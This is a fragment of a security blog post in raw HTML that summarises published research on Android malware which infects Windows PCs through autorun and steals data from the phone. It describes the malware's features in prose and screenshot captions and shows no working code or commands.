href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQucu66fmpHtn-HnMqsLqyf2Ie1lPo9QpgfKtFueSvwQp357dS6l_YeTzAoM7EsCxTiBunhZpNJG-hksdjBokx8tiwVR6XdJNDPzLlsY4YgHLkttSHEpTgpP0qI1KJkKQwiurLxzK40Qk/s1600/14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="67" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQucu66fmpHtn-HnMqsLqyf2Ie1lPo9QpgfKtFueSvwQp357dS6l_YeTzAoM7EsCxTiBunhZpNJG-hksdjBokx8tiwVR6XdJNDPzLlsY4YgHLkttSHEpTgpP0qI1KJkKQwiurLxzK40Qk/s400/14.png" width="400" /></a></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;"><br /></span></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">The program encrypts files and sends them to the master:</span></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyda42R42Xc9YbWBRxBoORCC5LYKNLnG6-AgBiuSgUrndiTxkt2rzawpOtW0kVMNjqRxqXrgkknIk-8UItFQGpGN0G19Bfk1O_EwbkFanK1jPnTTAD5-B8WJXFf_Ps4DcBVmjnxQ0a7jM/s1600/15.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="95" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyda42R42Xc9YbWBRxBoORCC5LYKNLnG6-AgBiuSgUrndiTxkt2rzawpOtW0kVMNjqRxqXrgkknIk-8UItFQGpGN0G19Bfk1O_EwbkFanK1jPnTTAD5-B8WJXFf_Ps4DcBVmjnxQ0a7jM/s400/15.png" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">Encryption algorithm</span><a href="http://www.securelist.com/en/blog/805/images/pictures/klblog/831.png" style="color: #3751ab; text-decoration: none;" target="_blank"><img alt="" border="0" src="http://www.securelist.com/en/blog/805/images/pictures/klblog/832.png" style="border: 0px; margin: 0px;" /></a></div></td></tr></tbody></table><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2_onk2KNgeaS-dcYPKSxWjn1YN0h1UGval0TpJuHbRiHCe27JpaBCyf1atxEskWiptHpJafggk-taXJmYGDtkJ_0zdPBkcUtJrdOw7sLeYiTvm9JTFghbNegEzRWCIHnOc_roA2Hyfn8/s1600/16.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2_onk2KNgeaS-dcYPKSxWjn1YN0h1UGval0TpJuHbRiHCe27JpaBCyf1atxEskWiptHpJafggk-taXJmYGDtkJ_0zdPBkcUtJrdOw7sLeYiTvm9JTFghbNegEzRWCIHnOc_roA2Hyfn8/s400/16.png" width="343" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">Uploading any file to the master’s FTP</span></div></td></tr></tbody></table><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDjqMoXUKsNQFkHEE9JP_I_jENb9ZwSFgkaDUroKbFbUaIQP2ACfLtErPB2jNQw5NyBaddJmIm1H16AwKfYdoDaakcsxBQji8BJgHHqT2WKJ_ZTcfoRM5mQkDLRwywmcqUoR1Of7M7t44/s1600/17.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="207" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDjqMoXUKsNQFkHEE9JP_I_jENb9ZwSFgkaDUroKbFbUaIQP2ACfLtErPB2jNQw5NyBaddJmIm1H16AwKfYdoDaakcsxBQji8BJgHHqT2WKJ_ZTcfoRM5mQkDLRwywmcqUoR1Of7M7t44/s400/17.png" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">This is where the address to which the app should connect and send files is taken from</span></div></td></tr></tbody></table><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em; text-align: center;"><span style="background-color: white;"><a href="http://www.securelist.com/en/blog/805/images/pictures/klblog/835.png" style="color: #3751ab; text-decoration: none;" target="_blank"><img alt="" border="0" src="http://www.securelist.com/en/blog/805/images/pictures/klblog/836.png" style="border: 0px; margin: 0px;" /></a></span><span style="background-color: white; line-height: 1.4; text-align: left;">This has to be one of the most unsophisticated ways to spread malware but doing so via a smartphone is a new attack vector. The autorun feature is disabled by default for external drives in the newer versions of Microsoft Windows. This poses a threat mainly to the users of outdated versions of Microsoft Windows. An owner of an inexpensive Android smartphone who connects his/her device to the PC regularly is most prone to such an attack.</span></div><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em; text-align: left;"></div><div class="mCont"><div style="line-height: 1.4; margin-bottom: 1em;">According to <b style="font-family: Times; font-size: medium; line-height: normal;">Victor Chebyshev;</b></div><blockquote class="tr_bq"><span style="background-color: white; line-height: 1.4;">It is worth noting that the approach used by the author of these applications is very well thought out. The app includes a vast range of features. For instance, in addition to infecting workstations, the Android version of the bot includes the following features:</span><br /><ul style="margin: 0px 0px 1em 2em; padding: 0px;"><li style="margin: 0px 0px 0.2em; padding: 0px;"><span style="background-color: white;">Sending SMS messages</span></li></ul><ul style="margin: 0px 0px 1em 2em; padding: 0px;"><li style="margin: 0px 0px 0.2em; padding: 0px;"><span style="background-color: white;">Enabling Wi-Fi</span></li></ul><ul style="margin: 0px 0px 1em 2em; padding: 0px;"><li style="margin: 0px 0px 0.2em; padding: 0px;"><span style="background-color: white;">Gathering information about the device</span></li></ul><ul style="margin: 0px 0px 1em 2em; padding: 0px;"><li style="margin: 0px 0px 0.2em; padding: 0px;"><span style="background-color: white;">Opening arbitrary links in a browser</span></li></ul><ul style="margin: 0px 0px 1em 2em; padding: 0px;"><li style="margin: 0px 0px 0.2em; padding: 0px;"><span style="background-color: white;">Uploading the SD card’s entire contents</span></li></ul><ul style="margin: 0px 0px 1em 2em; padding: 0px;"><li style="margin: 0px 0px 0.2em; padding: 0px;"><span style="background-color: white;">Uploading an arbitrary file (or folder) to the master’s server</span></li></ul><ul style="margin: 0px 0px 1em 2em; padding: 0px;"><li style="margin: 0px 0px 0.2em; padding: 0px;"><span style="background-color: white;">Uploading all SMS messages</span></li></ul><ul style="margin: 0px 0px 1em 2em; padding: 0px;"><li style="margin: 0px 0px 0.2em; padding: 0px;"><span style="background-color: white;">Deleting all SMS messages</span></li></ul><ul style="margin: 0px 0px 1em 2em; padding: 0px;"><li style="margin: 0px 0px 0.2em; padding: 0px;"><span style="background-color: white;">Uploading all the contacts/photos/coordinates from the device to the master</span></li></ul><span style="background-color: white;">This is the first time we have seen such an extensive feature set in one mobile application.</span></blockquote>Its better to stay safe then be sorry. Remember that and you shall prevail.<br /><br />Cheers!<br /><br /><b style="background-color: white; color: #333333; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; text-align: justify;">About The Author</b><br /><b style="background-color: white; color: #333333; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; text-align: justify;"><br /></b><span style="background-color: white; color: #333333; font-family: Verdana; font-size: 12px;"></span><span style="background-color: white; color: #333333; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; text-align: justify;">This article is written by Sindhia Javed Junejo. She is one of the core members of RHA team.</span></div><a href="http://www.blogger.com/blogger.g?blogID=3121270199089759062" name="comments" style="background-color: #eeeeee; color: #3751ab;"></a><br /><a href="http://www.blogger.com/blogger.g?blogID=3121270199089759062" name="comments" style="background-color: #eeeeee; color: #3751ab; font-family: arial; font-size: 14px; line-height: 19px;"></a><span style="background-color: #eeeeee; font-family: arial; font-size: 14px; line-height: 19px;"></span></div>

Android Malware That Infiltrates Your PC

There has been a rise in the demand and purchase of Android-based devices. Typically, the reason is the easiness of use, accessibility and c...

+ Read more »